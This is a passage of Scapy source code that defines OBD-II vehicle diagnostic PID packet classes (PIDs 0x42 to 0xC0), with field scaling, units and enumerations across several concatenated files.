'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]), FlagsField('once_per_trip_tests_ready', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]) ] class OBD_PID42(OBD_Packet): name = "PID_42_ControlModuleVoltage" fields_desc = [ ScalingField('data', 0, scaling=0.001, unit="V", fmt="H") ] class OBD_PID43(OBD_Packet): name = "PID_43_AbsoluteLoadValue" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%", fmt="H") ] class OBD_PID44(OBD_Packet): name = "PID_44_FuelAirCommandedEquivalenceRatio" fields_desc = [ ScalingField('data', 0, scaling=0.0000305, fmt="H") ] class _OBD_PercentPacket(OBD_Packet): fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID45(_OBD_PercentPacket): name = "PID_45_RelativeThrottlePosition" class OBD_PID46(OBD_Packet): name = "PID_46_AmbientAirTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID47(_OBD_PercentPacket): name = "PID_47_AbsoluteThrottlePositionB" class OBD_PID48(_OBD_PercentPacket): name = "PID_48_AbsoluteThrottlePositionC" class OBD_PID49(_OBD_PercentPacket): name = "PID_49_AcceleratorPedalPositionD" class OBD_PID4A(_OBD_PercentPacket): name = "PID_4A_AcceleratorPedalPositionE" class OBD_PID4B(_OBD_PercentPacket): name = "PID_4B_AcceleratorPedalPositionF" class OBD_PID4C(_OBD_PercentPacket): name = "PID_4C_CommandedThrottleActuator" class OBD_PID4D(OBD_Packet): name = "PID_4D_TimeRunWithMilOn" fields_desc = [ ScalingField('data', 0, unit="min", fmt="H") ] class OBD_PID4E(OBD_Packet): name = "PID_4E_TimeSinceTroubleCodesCleared" fields_desc = [ ScalingField('data', 0, unit="min", fmt="H") ] class OBD_PID4F(OBD_Packet): name = "PID_4F_VariousMaxValues" fields_desc = [ ScalingField('equivalence_ratio', 0), ScalingField('sensor_voltage', 0, unit="V"), ScalingField('sensor_current', 0, unit="mA"), ScalingField('intake_manifold_absolute_pressure', 0, scaling=10, unit="kPa") ] class OBD_PID50(OBD_Packet): name = "PID_50_MaximumValueForAirFlowRateFromMassAirFlowSensor" fields_desc = [ ScalingField('data', 0, scaling=10, unit="g/s"), ThreeBytesField('reserved', 0) ] class OBD_PID51(OBD_Packet): name = "PID_51_FuelType" fuelTypes = { 0: 'Not available', 1: 'Gasoline', 2: 'Methanol', 3: 'Ethanol', 4: 'Diesel', 5: 'LPG', 6: 'CNG', 7: 'Propane', 8: 'Electric', 9: 'Bifuel running Gasoline', 10: 'Bifuel running Methanol', 11: 'Bifuel running Ethanol', 12: 'Bifuel running LPG', 13: 'Bifuel running CNG', 14: 'Bifuel running Propane', 15: 'Bifuel running Electricity', 16: 'Bifuel running electric and combustion engine', 17: 'Hybrid gasoline', 18: 'Hybrid Ethanol', 19: 'Hybrid Diesel', 20: 'Hybrid Electric', 21: 'Hybrid running electric and combustion engine', 22: 'Hybrid Regenerative', 23: 'Bifuel running diesel'} fields_desc = [ ByteEnumField('data', 0, fuelTypes) ] class OBD_PID52(_OBD_PercentPacket): name = "PID_52_EthanolFuel" class OBD_PID53(OBD_Packet): name = "PID_53_AbsoluteEvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, scaling=1 / 200., unit="kPa", fmt="H") ] class OBD_PID54(OBD_Packet): name = "PID_54_EvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, unit="Pa", fmt="h") ] class _OBD_SensorTrimPacket1(OBD_Packet): fields_desc = [ ScalingField('bank1', 0, scaling=100 / 128., offset=-100, unit="%"), ScalingField('bank3', 0, scaling=100 / 128., offset=-100, unit="%") ] class _OBD_SensorTrimPacket2(OBD_Packet): fields_desc = [ ScalingField('bank2', 0, scaling=100 / 128., offset=-100, unit="%"), ScalingField('bank4', 0, scaling=100 / 128., offset=-100, unit="%") ] class OBD_PID55(_OBD_SensorTrimPacket1): name = "PID_55_ShortTermSecondaryOxygenSensorTrim" class OBD_PID56(_OBD_SensorTrimPacket1): name = "PID_56_LongTermSecondaryOxygenSensorTrim" class OBD_PID57(_OBD_SensorTrimPacket2): name = "PID_57_ShortTermSecondaryOxygenSensorTrim" class OBD_PID58(_OBD_SensorTrimPacket2): name = "PID_58_LongTermSecondaryOxygenSensorTrim" class OBD_PID59(OBD_Packet): name = "PID_59_FuelRailAbsolutePressure" fields_desc = [ ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") ] class OBD_PID5A(_OBD_PercentPacket): name = "PID_5A_RelativeAcceleratorPedalPosition" class OBD_PID5B(_OBD_PercentPacket): name = "PID_5B_HybridBatteryPackRemainingLife" class OBD_PID5C(OBD_Packet): name = "PID_5C_EngineOilTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID5D(OBD_Packet): name = "PID_5D_FuelInjectionTiming" fields_desc = [ ScalingField('data', 0, scaling=1 / 128., offset=-210, unit="deg.", fmt="H") ] class OBD_PID5E(OBD_Packet): name = "PID_5E_EngineFuelRate" fields_desc = [ ScalingField('data', 0, scaling=0.05, unit="L/h", fmt="H") ] class OBD_PID5F(OBD_Packet): name = "PID_5F_EmissionRequirementsToWhichVehicleIsDesigned" emissionRequirementTypes = { 0xE: 'Heavy Duty Vehicles (EURO IV) B1', 0xF: 'Heavy Duty Vehicles (EURO V) B2', 0x10: 'Heavy Duty Vehicles (EURO EEV) C', } fields_desc = [ ByteEnumField('data', 0, emissionRequirementTypes) ] scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_60_7F.py000066400000000000000000000451771372370053500233300ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import BitField, FlagsField, ScalingField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID60(OBD_Packet): name = "PID_60_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID80', 'PID7F', 'PID7E', 'PID7D', 'PID7C', 'PID7B', 'PID7A', 'PID79', 'PID78', 'PID77', 'PID76', 'PID75', 'PID74', 'PID73', 'PID72', 'PID71', 'PID70', 'PID6F', 'PID6E', 'PID6D', 'PID6C', 'PID6B', 'PID6A', 'PID69', 'PID68', 'PID67', 'PID66', 'PID65', 'PID64', 'PID63', 'PID62', 'PID61' ]) ] class OBD_PID61(OBD_Packet): name = "PID_61_DriverSDemandEnginePercentTorque" fields_desc = [ ScalingField('data', 0, unit="%", offset=-125.0) ] class OBD_PID62(OBD_Packet): name = "PID_62_ActualEnginePercentTorque" fields_desc = [ ScalingField('data', 0, unit="%", offset=-125.0) ] class OBD_PID63(OBD_Packet): name = "PID_63_EngineReferenceTorque" fields_desc = [ ScalingField('data', 0, unit="Nm", fmt="H") ] class OBD_PID64(OBD_Packet): name = "PID_64_EnginePercentTorqueData" fields_desc = [ ScalingField('at_point1', 0, unit="%", offset=-125.0), ScalingField('at_point2', 0, unit="%", offset=-125.0), ScalingField('at_point3', 0, unit="%", offset=-125.0), ScalingField('at_point4', 0, unit="%", offset=-125.0), ScalingField('at_point5', 0, unit="%", offset=-125.0) ] class OBD_PID65(OBD_Packet): name = "PID_65_AuxiliaryInputOutputSupported" fields_desc = [ BitField('reserved1', 0, 4), BitField('glow_plug_lamp_status_supported', 0, 1), BitField('manual_trans_neutral_drive_status_supported', 0, 1), BitField('auto_trans_neutral_drive_status_supported', 0, 1), BitField('power_take_off_status_supported', 0, 1), BitField('reserved2', 0, 4), BitField('glow_plug_lamp_status', 0, 1), BitField('manual_trans_neutral_drive_status', 0, 1), BitField('auto_trans_neutral_drive_status', 0, 1), BitField('power_take_off_status', 0, 1), ] class OBD_PID66(OBD_Packet): name = "PID_66_MassAirFlowSensor" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_b_supported', 0, 1), BitField('sensor_a_supported', 0, 1), ScalingField('sensor_a', 0, scaling=0.03125, unit="g/s", fmt="H"), ScalingField('sensor_b', 0, scaling=0.03125, unit="g/s", fmt="H"), ] class OBD_PID67(OBD_Packet): name = "PID_67_EngineCoolantTemperature" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor2_supported', 0, 1), BitField('sensor1_supported', 0, 1), ScalingField('sensor1', 0, unit="deg. C", offset=-40.0), ScalingField('sensor2', 0, unit="deg. C", offset=-40.0) ] class OBD_PID68(OBD_Packet): name = "PID_68_IntakeAirTemperatureSensor" fields_desc = [ BitField('reserved', 0, 2), BitField('bank2_sensor3_supported', 0, 1), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor3_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor3', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor3', 0, unit="deg. C", offset=-40) ] class OBD_PID69(OBD_Packet): name = "PID_69_CommandedEgrAndEgrError" fields_desc = [ BitField('reserved', 0, 2), BitField('egr_b_error_supported', 0, 1), BitField('actual_egr_b_duty_cycle_supported', 0, 1), BitField('commanded_egr_b_duty_cycle_supported', 0, 1), BitField('egr_a_error_supported', 0, 1), BitField('actual_egr_a_duty_cycle_supported', 0, 1), BitField('commanded_egr_a_duty_cycle_supported', 0, 1), ScalingField('commanded_egr_a_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('actual_egr_a_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('egr_a_error', 0, scaling=100 / 128., unit="%", offset=-100), ScalingField('commanded_egr_b_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('actual_egr_b_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('egr_b_error', 0, scaling=100 / 128., unit="%", offset=-100), ] class OBD_PID6A(OBD_Packet): name = "PID_6A_CommandedDieselIntakeAirFlowControl" \ "AndRelativeIntakeAirFlowPosition" fields_desc = [ BitField('reserved', 0, 4), BitField('relative_intake_air_flow_b_position_supported', 0, 1), BitField('commanded_intake_air_flow_b_control_supported', 0, 1), BitField('relative_intake_air_flow_a_position_supported', 0, 1), BitField('commanded_intake_air_flow_a_control_supported', 0, 1), ScalingField('commanded_intake_air_flow_a_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_intake_air_flow_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_intake_air_flow_b_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_intake_air_flow_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID6B(OBD_Packet): name = "PID_6B_ExhaustGasRecirculationTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ] class OBD_PID6C(OBD_Packet): name = "PID_6C_CommandedThrottleActuatorControlAndRelativeThrottlePosition" fields_desc = [ BitField('reserved', 0, 4), BitField('relative_throttle_b_position_supported', 0, 1), BitField('commanded_throttle_actuator_b_control_supported', 0, 1), BitField('relative_throttle_a_position_supported', 0, 1), BitField('commanded_throttle_actuator_a_control_supported', 0, 1), ScalingField('commanded_throttle_actuator_a_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_throttle_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_throttle_actuator_b_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_throttle_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID6D(OBD_Packet): name = "PID_6D_FuelPressureControlSystem" fields_desc = [ BitField('reserved', 0, 5), BitField('fuel_temperature_supported', 0, 1), BitField('fuel_rail_pressure_supported', 0, 1), BitField('commanded_fuel_rail_pressure_supported', 0, 1), ScalingField('commanded_fuel_rail_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('fuel_rail_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('fuel_rail_temperature', 0, unit="deg. C", offset=-40) ] class OBD_PID6E(OBD_Packet): name = "PID_6E_InjectionPressureControlSystem" fields_desc = [ BitField('reserved', 0, 6), BitField('injection_control_pressure_supported', 0, 1), BitField('commanded_injection_control_pressure_supported', 0, 1), ScalingField('commanded_injection_control_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('injection_control_pressure', 0, scaling=10, unit="kPa", fmt='H'), ] class OBD_PID6F(OBD_Packet): name = "PID_6F_TurbochargerCompressorInletPressure" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_b_supported', 0, 1), BitField('sensor_a_supported', 0, 1), ScalingField('sensor_a', 0, unit="kPa"), ScalingField('sensor_b', 0, unit="kPa"), ] class OBD_PID70(OBD_Packet): name = "PID_70_BoostPressureControl" fields_desc = [ BitField('reserved', 0, 4), BitField('boost_pressure_sensor_b_supported', 0, 1), BitField('commanded_boost_pressure_b_supported', 0, 1), BitField('boost_pressure_sensor_a_supported', 0, 1), BitField('commanded_boost_pressure_a_supported', 0, 1), ScalingField('commanded_boost_pressure_a', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('boost_pressure_sensor_a', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('commanded_boost_pressure_b', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('boost_pressure_sensor_b', 0, scaling=0.03125, unit="kPa", fmt='H'), ] class OBD_PID71(OBD_Packet): name = "PID_71_VariableGeometryTurboControl" fields_desc = [ BitField('reserved', 0, 4), BitField('vgt_b_position_supported', 0, 1), BitField('commanded_vgt_b_position_supported', 0, 1), BitField('vgt_a_position_supported', 0, 1), BitField('commanded_vgt_a_position_supported', 0, 1), ScalingField('commanded_variable_geometry_turbo_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('variable_geometry_turbo_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_variable_geometry_turbo_b_position', 0, scaling=100 / 255., unit="%"), ScalingField('variable_geometry_turbo_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID72(OBD_Packet): name = "PID_72_WastegateControl" fields_desc = [ BitField('reserved', 0, 4), BitField('wastegate_b_position_supported', 0, 1), BitField('commanded_wastegate_b_position_supported', 0, 1), BitField('wastegate_a_position_supported', 0, 1), BitField('commanded_wastegate_a_position_supported', 0, 1), ScalingField('commanded_wastegate_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('wastegate_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_wastegate_b_position', 0, scaling=100 / 255., unit="%"), ScalingField('wastegate_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID73(OBD_Packet): name = "PID_73_ExhaustPressure" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_bank2_supported', 0, 1), BitField('sensor_bank1_supported', 0, 1), ScalingField('sensor_bank1', 0, scaling=0.01, unit="kPa", fmt='H'), ScalingField('sensor_bank2', 0, scaling=0.01, unit="kPa", fmt='H'), ] class OBD_PID74(OBD_Packet): name = "PID_74_TurbochargerRpm" fields_desc = [ BitField('reserved', 0, 6), BitField('b_supported', 0, 1), BitField('a_supported', 0, 1), ScalingField('a_rpm', 0, unit="min-1", fmt='H'), ScalingField('b_rpm', 0, unit="min-1", fmt='H'), ] class OBD_PID75(OBD_Packet): name = "PID_75_TurbochargerATemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), ScalingField('turbocharger_a_compressor_inlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_compressor_outlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_turbine_inlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ScalingField('turbocharger_a_turbine_outlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ] class OBD_PID76(OBD_Packet): name = "PID_76_TurbochargerBTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), ScalingField('turbocharger_a_compressor_inlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_compressor_outlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_turbine_inlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ScalingField('turbocharger_a_turbine_outlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ] class OBD_PID77(OBD_Packet): name = "PID_77_ChargeAirCoolerTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ] class _OBD_PID_ExhaustGasTemperatureBank(OBD_Packet): fields_desc = [ BitField('reserved', 0, 4), BitField('sensor4_supported', 0, 1), BitField('sensor3_supported', 0, 1), BitField('sensor2_supported', 0, 1), BitField('sensor1_supported', 0, 1), ScalingField('sensor1', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor2', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor3', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor4', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ] class OBD_PID78(_OBD_PID_ExhaustGasTemperatureBank): name = "PID_78_ExhaustGasTemperatureBank1" class OBD_PID79(_OBD_PID_ExhaustGasTemperatureBank): name = "PID_79_ExhaustGasTemperatureBank2" class _OBD_PID_DieselParticulateFilter(OBD_Packet): fields_desc = [ BitField('reserved', 0, 5), BitField('outlet_pressure_supported', 0, 1), BitField('inlet_pressure_supported', 0, 1), BitField('delta_pressure_supported', 0, 1), ScalingField('delta_pressure', 0, unit='kPa', offset=-327.68, scaling=0.01, fmt='H'), ScalingField('particulate_filter', 0, unit='kPa', scaling=0.01, fmt='H'), ScalingField('outlet_pressure', 0, unit='kPa', scaling=0.01, fmt='H'), ] class OBD_PID7A(_OBD_PID_DieselParticulateFilter): name = "PID_7A_DieselParticulateFilter1" class OBD_PID7B(_OBD_PID_DieselParticulateFilter): name = "PID_7B_DieselParticulateFilter2" class OBD_PID7C(OBD_Packet): name = "PID_7C_DieselParticulateFilterTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_outlet_temperature_supported', 0, 1), BitField('bank2_inlet_temperature_supported', 0, 1), BitField('bank1_outlet_temperature_supported', 0, 1), BitField('bank1_inlet_temperature_supported', 0, 1), ScalingField('bank1_inlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank1_outlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank2_inlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank2_outlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ] class OBD_PID7D(OBD_Packet): name = "PID_7D_NoxNteControlAreaStatus" fields_desc = [ BitField('reserved', 0, 4), BitField('nte_deficiency_for_nox_active_area', 0, 1), BitField('inside_manufacturer_specific_nox_nte_carve_out_area', 0, 1), BitField('outside', 0, 1), BitField('inside', 0, 1), ] class OBD_PID7E(OBD_Packet): name = "PID_7E_PmNteControlAreaStatus" fields_desc = [ BitField('reserved', 0, 4), BitField('nte_deficiency_for_pm_active_area', 0, 1), BitField('inside_manufacturer_specific_pm_nte_carve_out_area', 0, 1), BitField('outside', 0, 1), BitField('inside', 0, 1), ] class OBD_PID7F(OBD_Packet): name = "PID_7F_EngineRunTime" fields_desc = [ BitField('reserved', 0, 5), BitField('total_with_pto_active_supported', 0, 1), BitField('total_idle_supported', 0, 1), BitField('total_supported', 0, 1), ScalingField('total', 0, unit='sec', fmt='Q'), ScalingField('total_idle', 0, unit='sec', fmt='Q'), ScalingField('total_with_pto_active', 0, unit='sec', fmt='Q'), ] scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_80_9F.py000066400000000000000000000163161372370053500233250ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import StrFixedLenField, FlagsField, ScalingField, BitField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID80(OBD_Packet): name = "PID_80_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PIDA0', 'PID9F', 'PID9E', 'PID9D', 'PID9C', 'PID9B', 'PID9A', 'PID99', 'PID98', 'PID97', 'PID96', 'PID95', 'PID94', 'PID93', 'PID92', 'PID91', 'PID90', 'PID8F', 'PID8E', 'PID8D', 'PID8C', 'PID8B', 'PID8A', 'PID89', 'PID88', 'PID87', 'PID86', 'PID85', 'PID84', 'PID83', 'PID82', 'PID81' ]) ] class OBD_PID81(OBD_Packet): name = "PID_81_EngineRunTimeForAuxiliaryEmissionsControlDevice" fields_desc = [ BitField('reserved', 0, 3), BitField('total_run_time_with_ei_aecd5_supported', 0, 1), BitField('total_run_time_with_ei_aecd4_supported', 0, 1), BitField('total_run_time_with_ei_aecd3_supported', 0, 1), BitField('total_run_time_with_ei_aecd2_supported', 0, 1), BitField('total_run_time_with_ei_aecd1_supported', 0, 1), ScalingField('total_run_time_with_ei_aecd1', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd2', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd3', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd4', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd5', 0, unit='sec', fmt='Q'), ] class OBD_PID82(OBD_Packet): name = "PID_82_EngineRunTimeForAuxiliaryEmissionsControlDevice" fields_desc = [ BitField('reserved', 0, 3), BitField('total_run_time_with_ei_aecd10_supported', 0, 1), BitField('total_run_time_with_ei_aecd9_supported', 0, 1), BitField('total_run_time_with_ei_aecd8_supported', 0, 1), BitField('total_run_time_with_ei_aecd7_supported', 0, 1), BitField('total_run_time_with_ei_aecd6_supported', 0, 1), ScalingField('total_run_time_with_ei_aecd6', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd7', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd8', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd9', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd10', 0, unit='sec', fmt='Q'), ] class OBD_PID83(OBD_Packet): name = "PID_83_NOxSensor" fields_desc = [ BitField('reserved', 0, 6), BitField('nox_sensor_concentration_bank2_sensor1_supported', 0, 1), BitField('nox_sensor_concentration_bank1_sensor1_supported', 0, 1), ScalingField('nox_sensor_concentration_bank1_sensor1', 0, unit='ppm', fmt='H'), ScalingField('nox_sensor_concentration_bank2_sensor1', 0, unit='ppm', fmt='H'), ] class OBD_PID84(OBD_Packet): name = "PID_84_ManifoldSurfaceTemperature" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID85(OBD_Packet): name = "PID_85_NoxReagentSystem" fields_desc = [ StrFixedLenField('data', b'', 10) ] class OBD_PID86(OBD_Packet): name = "PID_86_ParticulateMatterSensor" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID87(OBD_Packet): name = "PID_87_IntakeManifoldAbsolutePressure" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID88(OBD_Packet): name = "PID_88_ScrInduceSystem" fields_desc = [ StrFixedLenField('data', b'', 13) ] class OBD_PID89(OBD_Packet): # 11 - 15 name = "PID_89_RunTimeForAecd" fields_desc = [ StrFixedLenField('data', b'', 41) ] class OBD_PID8A(OBD_Packet): # 16 - 20 name = "PID_8A_RunTimeForAecd" fields_desc = [ StrFixedLenField('data', b'', 41) ] class OBD_PID8B(OBD_Packet): name = "PID_8B_DieselAftertreatment" fields_desc = [ StrFixedLenField('data', b'', 7) ] class OBD_PID8C(OBD_Packet): name = "PID_8C_O2Sensor" fields_desc = [ StrFixedLenField('data', b'', 16) ] class OBD_PID8D(OBD_Packet): name = "PID_8D_ThrottlePositionG" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID8E(OBD_Packet): name = "PID_8E_EngineFrictionPercentTorque" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID8F(OBD_Packet): name = "PID_8F_PmSensorBank1And2" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID90(OBD_Packet): name = "PID_90_WwhObdVehicleObdSystemInformation" fields_desc = [ StrFixedLenField('data', b'', 3) ] class OBD_PID91(OBD_Packet): name = "PID_91_WwhObdVehicleObdSystemInformation" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID92(OBD_Packet): name = "PID_92_FuelSystemControl" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PID93(OBD_Packet): name = "PID_93_WwhObdVehicleObdCountersSupport" fields_desc = [ StrFixedLenField('data', b'', 3) ] class OBD_PID94(OBD_Packet): name = "PID_94_NoxWarningAndInducementSystem" fields_desc = [ StrFixedLenField('data', b'', 12) ] class OBD_PID98(OBD_Packet): name = "PID_98_ExhaustGasTemperatureSensor" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PID99(OBD_Packet): name = "PID_99_ExhaustGasTemperatureSensor" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PID9A(OBD_Packet): name = "PID_9A_HybridEvVehicleSystemDataBatteryVoltage" fields_desc = [ StrFixedLenField('data', b'', 6) ] class OBD_PID9B(OBD_Packet): name = "PID_9B_DieselExhaustFluidSensorData" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PID9C(OBD_Packet): name = "PID_9C_O2SensorData" fields_desc = [ StrFixedLenField('data', b'', 17) ] class OBD_PID9D(OBD_Packet): name = "PID_9D_EngineFuelRate" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PID9E(OBD_Packet): name = "PID_9E_EngineExhaustFlowRate" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PID9F(OBD_Packet): name = "PID_9F_FuelSystemPercentageUse" fields_desc = [ StrFixedLenField('data', b'', 9) ] scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_A0_C0.py000066400000000000000000000056201372370053500233160ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import StrFixedLenField, FlagsField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PIDA0(OBD_Packet): name = "PID_A0_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PIDC0', 'PIDBF', 'PIDBE', 'PIDBD', 'PIDBC', 'PIDBB', 'PIDBA', 'PIDB9', 'PIDB8', 'PIDB7', 'PIDB6', 'PIDB5', 'PIDB4', 'PIDB3', 'PIDB2', 'PIDB1', 'PIDB0', 'PIDAF', 'PIDAE', 'PIDAD', 'PIDAC', 'PIDAB', 'PIDAA', 'PIDA9', 'PIDA8', 'PIDA7', 'PIDA6', 'PIDA5', 'PIDA4', 'PIDA3', 'PIDA2', 'PIDA1' ]) ] class OBD_PIDA1(OBD_Packet): name = "PID_A1_NoxSensorCorrectedData" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PIDA2(OBD_Packet): name = "PID_A2_CylinderFuelRate" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PIDA3(OBD_Packet): name = "PID_A3_EvapSystemVaporPressure" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PIDA4(OBD_Packet): name = "PID_A4_TransmissionActualGear" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDA5(OBD_Packet): name = "PID_A5_DieselExhaustFluidDosing" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDA6(OBD_Packet): name = "PID_A6_Odometer" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PIDC0(OBD_Packet): name = "PID_C0_PIDsSupported" fields_desc = [ 